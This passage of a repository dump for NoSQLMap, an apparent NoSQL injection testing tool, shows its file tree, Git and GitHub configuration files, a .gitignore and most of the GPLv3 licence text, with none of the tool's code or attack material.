├── .gitattributes ├── .github ├── FUNDING.yml └── workflows │ └── stale.yml ├── .gitignore ├── COPYING ├── ISSUE_TEMPLATE.md ├── README.md ├── TODO ├── docker ├── Dockerfile ├── docker-compose.yml └── entrypoint.sh ├── docs ├── _config.yml └── nop ├── exception.py ├── nosqlmap.py ├── nsmcouch.py ├── nsmmongo.py ├── nsmscan.py ├── nsmweb.py ├── screenshots └── NoSQLMap-v0-5.jpg ├── setup.py └── vuln_apps ├── docker-compose.yml ├── docker ├── apache │ ├── Dockerfile │ └── apache.conf ├── mongo │ ├── Dockerfile │ ├── import.sh │ └── mongo.nosql └── php │ └── Dockerfile └── src ├── acct.php ├── index.html ├── orderdata.php ├── populate_db.php └── userdata.php /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | *.sln merge=union 7 | *.csproj merge=union 8 | *.vbproj merge=union 9 | *.fsproj merge=union 10 | *.dbproj merge=union 11 | 12 | # Standard to msysgit 13 | *.doc diff=astextplain 14 | *.DOC diff=astextplain 15 | *.docx diff=astextplain 16 | *.DOCX diff=astextplain 17 | *.dot diff=astextplain 18 | *.DOT diff=astextplain 19 | *.pdf diff=astextplain 20 | *.PDF diff=astextplain 21 | *.rtf diff=astextplain 22 | *.RTF diff=astextplain 23 | -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2] 4 | patreon: # Replace with a single Patreon username 5 | open_collective: # Replace with a single Open Collective username 6 | ko_fi: # Replace with a single Ko-fi username 7 | tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel 8 | community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry 9 | liberapay: # Replace with a single Liberapay username 10 | issuehunt: # Replace with a single IssueHunt username 11 | otechie: # Replace with a single Otechie username 12 | custom: PayPal.Me/codingo 13 | -------------------------------------------------------------------------------- /.github/workflows/stale.yml: -------------------------------------------------------------------------------- 1 | name: Mark stale issues and pull requests 2 | 3 | on: 4 | schedule: 5 | - cron: "0 0 * * *" 6 | 7 | jobs: 8 | stale: 9 | 10 | runs-on: ubuntu-latest 11 | 12 | steps: 13 | - uses: actions/stale@v1 14 | with: 15 | repo-token: ${{ secrets.GITHUB_TOKEN }} 16 | stale-issue-message: 'Stale issue message' 17 | stale-pr-message: 'Stale pull request message' 18 | stale-issue-label: 'no-issue-activity' 19 | stale-pr-label: 'no-pr-activity' 20 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ################# 2 | ## Eclipse 3 | ################# 4 | 5 | *.pydevproject 6 | .project 7 | .metadata 8 | bin/ 9 | tmp/ 10 | *.tmp 11 | *.bak 12 | *.swp 13 | *~.nib 14 | local.properties 15 | .classpath 16 | .settings/ 17 | .loadpath 18 | 19 | # External tool builders 20 | .externalToolBuilders/ 21 | 22 | # Locally stored "Eclipse launch configurations" 23 | *.launch 24 | 25 | # CDT-specific 26 | .cproject 27 | 28 | # PDT-specific 29 | .buildpath 30 | 31 | 32 | ################# 33 | ## Visual Studio 34 | ################# 35 | 36 | ## Ignore Visual Studio temporary files, build results, and 37 | ## files generated by popular Visual Studio add-ons. 38 | 39 | # User-specific files 40 | *.suo 41 | *.user 42 | *.sln.docstates 43 | 44 | # Build results 45 | 46 | [Dd]ebug/ 47 | [Rr]elease/ 48 | x64/ 49 | build/ 50 | [Bb]in/ 51 | [Oo]bj/ 52 | 53 | # MSTest test Results 54 | [Tt]est[Rr]esult*/ 55 | [Bb]uild[Ll]og.* 56 | 57 | *_i.c 58 | *_p.c 59 | *.ilk 60 | *.meta 61 | *.obj 62 | *.pch 63 | *.pdb 64 | *.pgc 65 | *.pgd 66 | *.rsp 67 | *.sbr 68 | *.tlb 69 | *.tli 70 | *.tlh 71 | *.tmp 72 | *.tmp_proj 73 | *.log 74 | *.vspscc 75 | *.vssscc 76 | .builds 77 | *.pidb 78 | *.log 79 | *.scc 80 | 81 | # Visual C++ cache files 82 | ipch/ 83 | *.aps 84 | *.ncb 85 | *.opensdf 86 | *.sdf 87 | *.cachefile 88 | 89 | # Visual Studio profiler 90 | *.psess 91 | *.vsp 92 | *.vspx 93 | 94 | # Guidance Automation Toolkit 95 | *.gpState 96 | 97 | # ReSharper is a .NET coding add-in 98 | _ReSharper*/ 99 | *.[Rr]e[Ss]harper 100 | 101 | # TeamCity is a build add-in 102 | _TeamCity* 103 | 104 | # DotCover is a Code Coverage Tool 105 | *.dotCover 106 | 107 | # NCrunch 108 | *.ncrunch* 109 | .*crunch*.local.xml 110 | 111 | # Installshield output folder 112 | [Ee]xpress/ 113 | 114 | # DocProject is a documentation generator add-in 115 | DocProject/buildhelp/ 116 | DocProject/Help/*.HxT 117 | DocProject/Help/*.HxC 118 | DocProject/Help/*.hhc 119 | DocProject/Help/*.hhk 120 | DocProject/Help/*.hhp 121 | DocProject/Help/Html2 122 | DocProject/Help/html 123 | 124 | # Click-Once directory 125 | publish/ 126 | 127 | # Publish Web Output 128 | *.Publish.xml 129 | *.pubxml 130 | 131 | # NuGet Packages Directory 132 | ## TODO: If you have NuGet Package Restore enabled, uncomment the next line 133 | #packages/ 134 | 135 | # Windows Azure Build Output 136 | csx 137 | *.build.csdef 138 | 139 | # Windows Store app package directory 140 | AppPackages/ 141 | 142 | # Others 143 | sql/ 144 | *.Cache 145 | ClientBin/ 146 | [Ss]tyle[Cc]op.* 147 | ~$* 148 | *~ 149 | *.dbmdl 150 | *.[Pp]ublish.xml 151 | *.pfx 152 | *.publishsettings 153 | 154 | # RIA/Silverlight projects 155 | Generated_Code/ 156 | 157 | # Backup & report files from converting an old project file to a newer 158 | # Visual Studio version. Backup files are not needed, because we have git ;-) 159 | _UpgradeReport_Files/ 160 | Backup*/ 161 | UpgradeLog*.XML 162 | UpgradeLog*.htm 163 | 164 | # SQL Server files 165 | App_Data/*.mdf 166 | App_Data/*.ldf 167 | 168 | ############# 169 | ## Windows detritus 170 | ############# 171 | 172 | # Windows image file caches 173 | Thumbs.db 174 | ehthumbs.db 175 | 176 | # Folder config file 177 | Desktop.ini 178 | 179 | # Recycle Bin used on file shares 180 | $RECYCLE.BIN/ 181 | 182 | # Mac crap 183 | .DS_Store 184 | 185 | 186 | ############# 187 | ## Python 188 | ############# 189 | 190 | *.py[co] 191 | 192 | # Packages 193 | *.egg 194 | *.egg-info 195 | dist/ 196 | build/ 197 | eggs/ 198 | parts/ 199 | var/ 200 | sdist/ 201 | develop-eggs/ 202 | .installed.cfg 203 | 204 | # Installer logs 205 | pip-log.txt 206 | 207 | # Unit test / coverage reports 208 | .coverage 209 | .tox 210 | 211 | #Translations 212 | *.mo 213 | 214 | #Mr Developer 215 | .mr.developer.cfg 216 | 217 | *.xml 218 | 219 | .idea/.name 220 | 221 | .idea/NoSQLMap.iml 222 | *.iml 223 | *.pyproj 224 | *.sln 225 | /.vs/ProjectSettings.json 226 | -------------------------------------------------------------------------------- /COPYING: -------------------------------------------------------------------------------- 1 | GNU GENERAL PUBLIC LICENSE 2 | Version 3, 29 June 2007 3 | 4 | Copyright (C) 2007 Free Software Foundation, Inc. 5 | Everyone is permitted to copy and distribute verbatim copies 6 | of this license document, but changing it is not allowed. 7 | 8 | Preamble 9 | 10 | The GNU General Public License is a free, copyleft license for 11 | software and other kinds of works. 12 | 13 | The licenses for most software and other practical works are designed 14 | to take away your freedom to share and change the works. By contrast, 15 | the GNU General Public License is intended to guarantee your freedom to 16 | share and change all versions of a program--to make sure it remains free 17 | software for all its users. We, the Free Software Foundation, use the 18 | GNU General Public License for most of our software; it applies also to 19 | any other work released this way by its authors. You can apply it to 20 | your programs, too. 21 | 22 | When we speak of free software, we are referring to freedom, not 23 | price. Our General Public Licenses are designed to make sure that you 24 | have the freedom to distribute copies of free software (and charge for 25 | them if you wish), that you receive source code or can get it if you 26 | want it, that you can change the software or use pieces of it in new 27 | free programs, and that you know you can do these things. 28 | 29 | To protect your rights, we need to prevent others from denying you 30 | these rights or asking you to surrender the rights. Therefore, you have 31 | certain responsibilities if you distribute copies of the software, or if 32 | you modify it: responsibilities to respect the freedom of others. 33 | 34 | For example, if you distribute copies of such a program, whether 35 | gratis or for a fee, you must pass on to the recipients the same 36 | freedoms that you received. You must make sure that they, too, receive 37 | or can get the source code. And you must show them these terms so they 38 | know their rights. 39 | 40 | Developers that use the GNU GPL protect your rights with two steps: 41 | (1) assert copyright on the software, and (2) offer you this License 42 | giving you legal permission to copy, distribute and/or modify it. 43 | 44 | For the developers' and authors' protection, the GPL clearly explains 45 | that there is no warranty for this free software. For both users' and 46 | authors' sake, the GPL requires that modified versions be marked as 47 | changed, so that their problems will not be attributed erroneously to 48 | authors of previous versions. 49 | 50 | Some devices are designed to deny users access to install or run 51 | modified versions of the software inside them, although the manufacturer 52 | can do so. This is fundamentally incompatible with the aim of 53 | protecting users' freedom to change the software. The systematic 54 | pattern of such abuse occurs in the area of products for individuals to 55 | use, which is precisely where it is most unacceptable. Therefore, we 56 | have designed this version of the GPL to prohibit the practice for those 57 | products. If such problems arise substantially in other domains, we 58 | stand ready to extend this provision to those domains in future versions 59 | of the GPL, as needed to protect the freedom of users. 60 | 61 | Finally, every program is threatened constantly by software patents. 62 | States should not allow patents to restrict development and use of 63 | software on general-purpose computers, but in those that do, we wish to 64 | avoid the special danger that patents applied to a free program could 65 | make it effectively proprietary. To prevent this, the GPL assures that 66 | patents cannot be used to render the program non-free. 67 | 68 | The precise terms and conditions for copying, distribution and 69 | modification follow. 70 | 71 | TERMS AND CONDITIONS 72 | 73 | 0. Definitions. 74 | 75 | "This License" refers to version 3 of the GNU General Public License. 76 | 77 | "Copyright" also means copyright-like laws that apply to other kinds of 78 | works, such as semiconductor masks. 79 | 80 | "The Program" refers to any copyrightable work licensed under this 81 | License. Each licensee is addressed as "you". "Licensees" and 82 | "recipients" may be individuals or organizations. 83 | 84 | To "modify" a work means to copy from or adapt all or part of the work 85 | in a fashion requiring copyright permission, other than the making of an 86 | exact copy. The resulting work is called a "modified version" of the 87 | earlier work or a work "based on" the earlier work. 88 | 89 | A "covered work" means either the unmodified Program or a work based 90 | on the Program. 91 | 92 | To "propagate" a work means to do anything with it that, without 93 | permission, would make you directly or secondarily liable for 94 | infringement under applicable copyright law, except executing it on a 95 | computer or modifying a private copy. Propagation includes copying, 96 | distribution (with or without modification), making available to the 97 | public, and in some countries other activities as well. 98 | 99 | To "convey" a work means any kind of propagation that enables other 100 | parties to make or receive copies. Mere interaction with a user through 101 | a computer network, with no transfer of a copy, is not conveying. 102 | 103 | An interactive user interface displays "Appropriate Legal Notices" 104 | to the extent that it includes a convenient and prominently visible 105 | feature that (1) displays an appropriate copyright notice, and (2) 106 | tells the user that there is no warranty for the work (except to the 107 | extent that warranties are provided), that licensees may convey the 108 | work under this License, and how to view a copy of this License. If 109 | the interface presents a list of user commands or options, such as a 110 | menu, a prominent item in the list meets this criterion. 111 | 112 | 1. Source Code. 113 | 114 | The "source code" for a work means the preferred form of the work 115 | for making modifications to it. "Object code" means any non-source 116 | form of a work. 117 | 118 | A "Standard Interface" means an interface that either is an official 119 | standard defined by a recognized standards body, or, in the case of 120 | interfaces specified for a particular programming language, one that 121 | is widely used among developers working in that language. 122 | 123 | The "System Libraries" of an executable work include anything, other 124 | than the work as a whole, that (a) is included in the normal form of 125 | packaging a Major Component, but which is not part of that Major 126 | Component, and (b) serves only to enable use of the work with that 127 | Major Component, or to implement a Standard Interface for which an 128 | implementation is available to the public in source code form. A 129 | "Major Component", in this context, means a major essential component 130 | (kernel, window system, and so on) of the specific operating system 131 | (if any) on which the executable work runs, or a compiler used to 132 | produce the work, or an object code interpreter used to run it. 133 | 134 | The "Corresponding Source" for a work in object code form means all 135 | the source code needed to generate, install, and (for an executable 136 | work) run the object code and to modify the work, including scripts to 137 | control those activities. However, it does not include the work's 138 | System Libraries, or general-purpose tools or generally available free 139 | programs which are used unmodified in performing those activities but 140 | which are not part of the work. For example, Corresponding Source 141 | includes interface definition files associated with source files for 142 | the work, and the source code for shared libraries and dynamically 143 | linked subprograms that the work is specifically designed to require, 144 | such as by intimate data communication or control flow between those 145 | subprograms and other parts of the work. 146 | 147 | The Corresponding Source need not include anything that users 148 | can regenerate automatically from other parts of the Corresponding 149 | Source. 150 | 151 | The Corresponding Source for a work in source code form is that 152 | same work. 153 | 154 | 2. Basic Permissions. 155 | 156 | All rights granted under this License are granted for the term of 157 | copyright on the Program, and are irrevocable provided the stated 158 | conditions are met. This License explicitly affirms your unlimited 159 | permission to run the unmodified Program. The output from running a 160 | covered work is covered by this License only if the output, given its 161 | content, constitutes a covered work. This License acknowledges your 162 | rights of fair use or other equivalent, as provided by copyright law. 163 | 164 | You may make, run and propagate covered works that you do not 165 | convey, without conditions so long as your license otherwise remains 166 | in force. You may convey covered works to others for the sole purpose 167 | of having them make modifications exclusively for you, or provide you 168 | with facilities for running those works, provided that you comply with 169 | the terms of this License in conveying all material for which you do 170 | not control copyright. Those thus making or running the covered works 171 | for you must do so exclusively on your behalf, under your direction 172 | and control, on terms that prohibit them from making any copies of 173 | your copyrighted material outside their relationship with you. 174 | 175 | Conveying under any other circumstances is permitted solely under 176 | the conditions stated below. Sublicensing is not allowed; section 10 177 | makes it unnecessary. 178 | 179 | 3. Protecting Users' Legal Rights From Anti-Circumvention Law. 180 | 181 | No covered work shall be deemed part of an effective technological 182 | measure under any applicable law fulfilling obligations under article 183 | 11 of the WIPO copyright treaty adopted on 20 December 1996, or 184 | similar laws prohibiting or restricting circumvention of such 185 | measures. 186 | 187 | When you convey a covered work, you waive any legal power to forbid 188 | circumvention of technological measures to the extent such circumvention 189 | is effected by exercising rights under this License with respect to 190 | the covered work, and you disclaim any intention to limit operation or 191 | modification of the work as a means of enforcing, against the work's 192 | users, your or third parties' legal rights to forbid circumvention of 193 | technological measures. 194 | 195 | 4. Conveying Verbatim Copies. 196 | 197 | You may convey verbatim copies of the Program's source code as you 198 | receive it, in any medium, provided that you conspicuously and 199 | appropriately publish on each copy an appropriate copyright notice; 200 | keep intact all notices stating that this License and any 201 | non-permissive terms added in accord with section 7 apply to the code; 202 | keep intact all notices of the absence of any warranty; and give all 203 | recipients a copy of this License along with the Program. 204 | 205 | You may charge any price or no price for each copy that you convey, 206 | and you may offer support or warranty protection for a fee. 207 | 208 | 5. Conveying Modified Source Versions. 209 | 210 | You may convey a work based on the Program, or the modifications to 211 | produce it from the Program, in the form of source code under the 212 | terms of section 4, provided that you also meet all of these conditions: 213 | 214 | a) The work must carry prominent notices stating that you modified 215 | it, and giving a relevant date. 216 | 217 | b) The work must carry prominent notices stating that it is 218 | released under this License and any conditions added under section 219 | 7. This requirement modifies the requirement in section 4 to 220 | "keep intact all notices". 221 | 222 | c) You must license the entire work, as a whole, under this 223 | License to anyone who comes into possession of a copy. This 224 | License will therefore apply, along with any applicable section 7 225 | additional terms, to the whole of the work, and all its parts, 226 | regardless of how they are packaged. This License gives no 227 | permission to license the work in any other way, but it does not 228 | invalidate such permission if you have separately received it. 229 | 230 | d) If the work has interactive user interfaces, each must display 231 | Appropriate Legal Notices; however, if the Program has interactive 232 | interfaces that do not display Appropriate Legal Notices, your 233 | work need not make them do so. 234 | 235 | A compilation of a covered work with other separate and independent 236 | works, which are not by their nature extensions of the covered work, 237 | and which are not combined with it such as to form a larger program, 238 | in or on a volume of a storage or distribution medium, is called an 239 | "aggregate" if the compilation and its resulting copyright are not 240 | used to limit the access or legal rights of the compilation's users 241 | beyond what the individual works permit. Inclusion of a covered work 242 | in an aggregate does not cause this License to apply to the other 243 | parts of the aggregate. 244 | 245 | 6. Conveying Non-Source Forms. 246 | 247 | You may convey a covered work in object code form under the terms 248 | of sections 4 and 5, provided that you also convey the 249 | machine-readable Corresponding Source under the terms of this License, 250 | in one of these ways: 251 | 252 | a) Convey the object code in, or embodied in, a physical product 253 | (including a physical distribution medium), accompanied by the 254 | Corresponding Source fixed on a durable physical medium 255 | customarily used for software interchange. 256 | 257 | b) Convey the object code in, or embodied in, a physical product 258 | (including a physical distribution medium), accompanied by a 259 | written offer, valid for at least three years and valid for as 260 | long as you offer spare parts or customer support for that product 261 | model, to give anyone who possesses the object code either (1) a 262 | copy of the Corresponding Source for all the software in the 263 | product that is covered by this License, on a durable physical 264 | medium customarily used for software interchange, for a price no 265 | more than your reasonable cost of physically performing this 266 | conveying of source, or (2) access to copy the 267 | Corresponding Source from a network server at no charge. 268 | 269 | c) Convey individual copies of the object code with a copy of the 270 | written offer to provide the Corresponding Source. This 271 | alternative is allowed only occasionally and noncommercially, and 272 | only if you received the object code with such an offer, in accord 273 | with subsection 6b. 274 | 275 | d) Convey the object code by offering access from a designated 276 | place (gratis or for a charge), and offer equivalent access to the 277 | Corresponding Source in the same way through the same place at no 278 | further charge. You need not require recipients to copy the 279 | Corresponding Source along with the object code. If the place to 280 | copy the object code is a network server, the Corresponding Source 281 | may be on a different server (operated by you or a third party) 282 | that supports equivalent copying facilities, provided you maintain 283 | clear directions next to the object code saying where to find the 284 | Corresponding Source. Regardless of what server hosts the 285 | Corresponding Source, you remain obligated to ensure that it is 286 | available for as long as needed to satisfy these requirements. 287 | 288 | e) Convey the object code using peer-to-peer transmission, provided 289 | you inform other peers where the object code and Corresponding 290 | Source of the work are being offered to the general public at no 291 | charge under subsection 6d. 292 | 293 | A separable portion of the object code, whose source code is excluded 294 | from the Corresponding Source as a System Library, need not be 295 | included in conveying the object code work. 296 | 297 | A "User Product" is either (1) a "consumer product", which means any 298 | tangible personal property which is normally used for personal, family, 299 | or household purposes, or (2) anything designed or sold for incorporation 300 | into a dwelling. In determining whether a product is a consumer product, 301 | doubtful cases shall be resolved in favor of coverage. For a particular 302 | product received by a particular user, "normally used" refers to a 303 | typical or common use of that class of product, regardless of the status 304 | of the particular user or of the way in which the particular user 305 | actually uses, or expects or is expected to use, the product. A product 306 | is a consumer product regardless of whether the product has substantial 307 | commercial, industrial or non-consumer uses, unless such uses represent 308 | the only significant mode of use of the product. 309 | 310 | "Installation Information" for a User Product means any methods, 311 | procedures, authorization keys, or other information required to install 312 | and execute modified versions of a covered work in that User Product from 313 | a modified version of its Corresponding Source. The information must 314 | suffice to ensure that the continued functioning of the modified object 315 | code is in no case prevented or interfered with solely because 316 | modification has been made. 317 | 318 | If you convey an object code work under this section in, or with, or 319 | specifically for use in, a User Product, and the conveying occurs as 320 | part of a transaction in which the right of possession and use of the 321 | User Product is transferred to the recipient in perpetuity or for a 322 | fixed term (regardless of how the transaction is characterized), the 323 | Corresponding Source conveyed under this section must be accompanied 324 | by the Installation Information. But this requirement does not apply 325 | if neither you nor any third party retains the ability to install 326 | modified object code on the User Product (for example, the work has 327 | been installed in ROM). 328 | 329 | The requirement to provide Installation Information does not include a 330 | requirement to continue to provide support service, warranty, or updates 331 | for a work that has been modified or installed by the recipient, or for 332 | the User Product in which it has been modified or installed. Access to a 333 | network may be denied when the modification itself materially and 334 | adversely affects the operation of the network or violates the rules and 335 | protocols for communication across the network. 336 | 337 | Corresponding Source conveyed, and Installation Information provided, 338 | in accord with this section must be in a format that is publicly 339 | documented (and with an implementation available to the public in 340 | source code form), and must require no special password or key for 341 | unpacking, reading or copying. 342 | 343 | 7. Additional Terms. 344 | 345 | "Additional permissions" are terms that supplement the terms of this 346 | License by making exceptions from one or more of its conditions. 347 | Additional permissions that are applicable to the entire Program shall 348 | be treated as though they were included in this License, to the extent 349 | that they are valid under applicable law. If additional permissions 350 | apply only to part of the Program, that part may be used separately 351 | under those permissions, but the entire Program remains governed by 352 | this License without regard to the additional permissions. 353 | 354 | When you convey a copy of a covered work, you may at your option 355 | remove any additional permissions from that copy, or from any part of 356 | it. (Additional permissions may be written to require their own 357 | removal in certain cases when you modify the work.) You may place 358 | additional permissions on material, added by you to a covered work, 359 | for which you have or can give appropriate copyright permission. 360 | 361 | Notwithstanding any other provision of this License, for material you 362 | add to a covered work, you may (if authorized by the copyright holders of 363 | that material) supplement the terms of this License with terms: 364 | 365 | a) Disclaiming warranty or limiting liability differently from the 366 | terms of sections 15 and 16 of this License; or 367 | 368 | b) Requiring preservation of specified reasonable legal notices or 369 | author attributions in that material or in the Appropriate Legal 370 | Notices displayed by works containing it; or 371 | 372 | c) Prohibiting misrepresentation of the origin of that material, or 373 | requiring that modified versions of such material be marked in 374 | reasonable ways as different from the original version; or 375 | 376 | d) Limiting the use for publicity purposes of names of licensors or 377 | authors of the material; or 378 | 379 | e) Declining to grant rights under trademark law for use of some 380 | trade names, trademarks, or service marks; or 381 | 382 | f) Requiring indemnification of licensors and authors of that 383 | material by anyone who conveys the material (or modified versions of 384 | it) with contractual assumptions of liability to the recipient, for 385 | any liability that these contractual assumptions directly impose on 386 | those licensors and authors. 387 | 388 | All other non-permissive additional terms are considered "further 389 | restrictions" within the meaning of section 10. If the Program as you 390 | received it, or any part of it, contains a notice stating that it is 391 | governed by this License along with a term that is a further 392 | restriction, you may remove that term. If a license document contains 393 | a further restriction but permits relicensing or conveying under this 394 | License, you may add to a covered work material governed by the terms 395 | of that license document, provided that the further restriction does 396 | not survive such relicensing or conveying. 397 | 398 | If you add terms to a covered work in accord with this section, you 399 | must place, in the relevant source files, a statement of the 400 | additional terms that apply to those files, or a notice indicating 401 | where to find the applicable terms. 402 | 403 | Additional terms, permissive or non-permissive, may be stated in the 404 | form of a separately written license, or stated as exceptions; 405 | the above requirements apply either way. 406 | 407 | 8. Termination. 408 | 409 | You may not propagate or modify a covered work except as expressly 410 | provided under this License. Any attempt otherwise to propagate or 411 | modify it is void, and will automatically terminate your rights under 412 | this License (including any patent licenses granted under the third 413 | paragraph of section 11). 414 | 415 | However, if you cease all violation of this License, then your 416 | license from a particular copyright holder is reinstated (a) 417 | provisionally, unless and until the copyright holder explicitly and 418 | finally terminates your license, and (b) permanently, if the copyright 419 | holder fails to notify you of the violation by some reasonable means 420 | prior to 60 days after the cessation. 421 | 422 | Moreover, your license from a particular copyright holder is 423 | reinstated permanently if the copyright holder notifies you of the 424 | violation by some reasonable means, this is the first time you have 425 | received notice of violation of this License (for any work) from that 426 | copyright holder, and you cure the violation prior to 30 days after 427 | your receipt of the notice. 428 | 429 | Termination of your rights under this section does not terminate the 430 | licenses of parties who have received copies or rights from you under 431 | this License. If your rights have been terminated and not permanently 432 | reinstated, you do not qualify to receive new licenses for the same 433 | material under section 10. 434 | 435 | 9. Acceptance Not Required for Having Copies. 436 | 437 | You are not required to accept this License in order to receive or 438 | run a copy of the Program. Ancillary propagation of a covered work 439 | occurring solely as a consequence of using peer-to-peer transmission 440 | to receive a copy likewise does not require acceptance. However, 441 | nothing other than this License grants you permission to propagate or 442 | modify any covered work. These actions infringe copyright if you do 443 | not accept this License. Therefore, by modifying or propagating a 444 | covered work, you indicate your acceptance of this License to do so. 445 | 446 | 10. Automatic Licensing of Downstream Recipients. 447 | 448 | Each time you convey a covered work, the recipient automatically 449 | receives a license from the original licensors, to run, modify and 450 | propagate that work, subject to this License. You are not responsible 451 | for enforcing compliance by third parties with this License. 452 | 453 | An "entity transaction" is a transaction transferring control of an 454 | organization, or substantially all assets of one, or subdividing an 455 | organization, or merging organizations. If propagation of a covered 456 | work results from an entity transaction, each party to that 457 | transaction who receives a copy of the work also receives whatever 458 | licenses to the work the party's predecessor in interest had or could 459 | give under the previous paragraph, plus a right to possession of the 460 | Corresponding Source of the work from the predecessor in interest, if 461 | the predecessor has it or can get it with reasonable efforts. 462 | 463 | You may not impose any further restrictions on the exercise of the 464 | rights granted or affirmed under this License. For example, you may 465 | not impose a license fee, royalty, or other charge for exercise of 466 | rights granted under this License, and you may not initiate litigation 467 | (including a cross-claim or counterclaim in a lawsuit) alleging that 468 | any patent claim is infringed by making, using, selling, offering for 469 | sale, or importing the Program or any portion of it. 470 | 471 | 11. Patents. 472 | 473 | A "contributor" is a copyright holder who authorizes use under this 474 | License of the Program or a work on which the Program is based. The 475 | work thus licensed is called the contributor's "contributor version". 476 | 477 | A contributor's "essential patent claims" are all patent claims 478 | owned or controlled by the contributor, whether already acquired or 479 | hereafter acquired, that would be infringed by some manner, permitted 480 | by this License, of making, using, or selling its contributor version, 481 | but do not include claims that would be infringed only as a 482 | consequence of further modification of the contributor version. For 483 | purposes of this definition, "control" includes the right to grant 484 | patent sublicenses in a manner consistent with the requirements of 485 | this License. 486 | 487 | Each contributor grants you a non-exclusive, worldwide, royalty-free 488 | patent license under the contributor's essential patent claims, to 489 | make, use, sell, offer for sale, import and otherwise run, modify and 490 | propagate the contents of its contributor version. 491 | 492 | In the following three paragraphs, a "patent license" is any express 493 | agreement or commitment, however denominated, not to enforce a patent 494 | (such as an express permission to practice a patent or covenant not to 495 | sue for patent infringement). To "grant" such a patent license to a 496 | party means to make such an agreement or commitment not to enforce a 497 | patent against the party. 498 | 499 | If you convey a covered work, knowingly relying on a patent license, 500 | and the Corresponding Source of the work is not available for anyone 501 | to copy, free of charge and under the terms of this License, through a 502 | publicly available network server or other readily accessible means, 503 | then you must either (1) cause the Corresponding Source to be so 504 | available, or (2) arrange to deprive yourself of the benefit of the 505 | patent license for this particular work, or (3) arrange, in a manner 506 | consistent with the requirements of this License, to extend the patent 507 | license to downstream recipients. "Knowingly relying" means you have 508 | actual knowledge that, but for the patent license, your conveying the 509 | covered work in a country, or your recipient's use of the covered work 510 | in a country, would infringe one or more identifiable patents in that 511 | country that you have reason to believe are valid. 512 | 513 | If, pursuant to or in connection with a single transaction or 514 | arrangement, you convey, or propagate by procuring conveyance of, a 515 | covered work, and grant a patent license to some of the parties 516 | receiving the covered work authorizing them to use, propagate, modify 517 | or convey a specific copy of the covered work, then the patent license 518 | you grant is automatically extended to all recipients of the covered 519 | work and works based on it. 520 | 521 | A patent license is "discriminatory" if it does not include within 522 | the scope of its coverage, prohibits the exercise of, or is 523 | conditioned on the non-exercise of one or more of the rights that are 524 | specifically granted under this License. You may not convey a covered 525 | work if you are a party to an arrangement with a third party that is 526 | in the business of distributing software, under which you make payment 527 | to the third party based on the extent of your activity of conveying 528 | the work, and under which the third party grants, to any of the 529 | parties who would receive the covered work from you, a discriminatory 530 | patent license (a) in connection with copies of the covered work 531 | conveyed by you (or copies made from those copies), or (b) primarily 532 | for and in connection with specific products or compilations that 533 | contain the covered work, unless you entered into that arrangement, 534 | or that patent license was granted, prior to 28 March 2007. 535 | 536 | Nothing in this License shall be construed as excluding or limiting 537 | any implied license or other defenses to infringement that may 538 | otherwise be available to you under applicable patent law. 539 | 540 | 12. No Surrender of Others' Freedom. 541 | 542 | If conditions are imposed on you (whether by court order, agreement or 543 | otherwise) that contradict the conditions of this License, they do not 544 | excuse you from the conditions of this License. If you cannot convey a 545 | covered work so as to satisfy simultaneously your obligations under this 546 | License and any other pertinent obligations, then as a consequence you may 547 | not convey it at all. For example, if you agree to terms that obligate you 548 | to collect a royalty for further conveying from those to whom you convey 549 | the Program, the only way you could satisfy both those terms and this 550 | License would be to refrain entirely from conveying the Program. 551 | 552 | 13. Use with the GNU Affero General Public License. 553 | 554 | Notwithstanding any other provision of this License, you have 555 | permission to link or combine any covered work with a work licensed 556 | under version 3 of the GNU Affero General Public License into a single 557 | combined work, and to convey the resulting work. The terms of this 558 | License will continue to apply to the part which is the covered work, 559 | but the special requirements of the GNU Affero General Public License, 560 | section 13, concerning interaction through a network will apply to the 561 | combination as such. 562 | 563 | 14. Revised Versions of this License. 564 | 565 | The Free Software Foundation may publish revised and/or new versions of 566 | the GNU General Public License from time to time. Such new versions will 567 | be similar in spirit to the present version, but may differ in detail to 568 | address new problems or concerns. 569 | 570 | Each version is given a distinguishing version number. If the 571 | Program specifies that a certain numbered version of the GNU General 572 | Public License "or any later version" applies to it, you have the 573 | option of following the terms and conditions either of that numbered 574 | version or of any later version published by the Free Software 575 | Foundation. If the Program does not specify a version number of the 576 | GNU General Public License, you may choose any version ever published 577 | by the Free Software Foundation. 578 | 579 | If the Program specifies that a proxy can decide which future 580 | versions of the GNU General Public License can be used, that proxy's 581 | public statement of acceptance of a version permanently authorizes you 582 | to choose that version for the Program. 583 | 584 | Later license versions may give you additional or different 585 | permissions. However, no additional obligations are imposed on any 586 | author or copyright holder as a result of your choosing to follow a 587 | later version. 588 | 589 | 15. Disclaimer of Warranty. 590 | 591 | THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY 592 | APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT 593 | HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY 594 | OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, 595 | THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR 596 | PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM 597 | IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF 598 | ALL NECESSARY SERVICING, REPAIR OR CORRECTION. 599 | 600 | 16. Limitation of Liability. 601 | 602 | IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 603 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS 604 | THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY 605 | GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE 606 | USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS 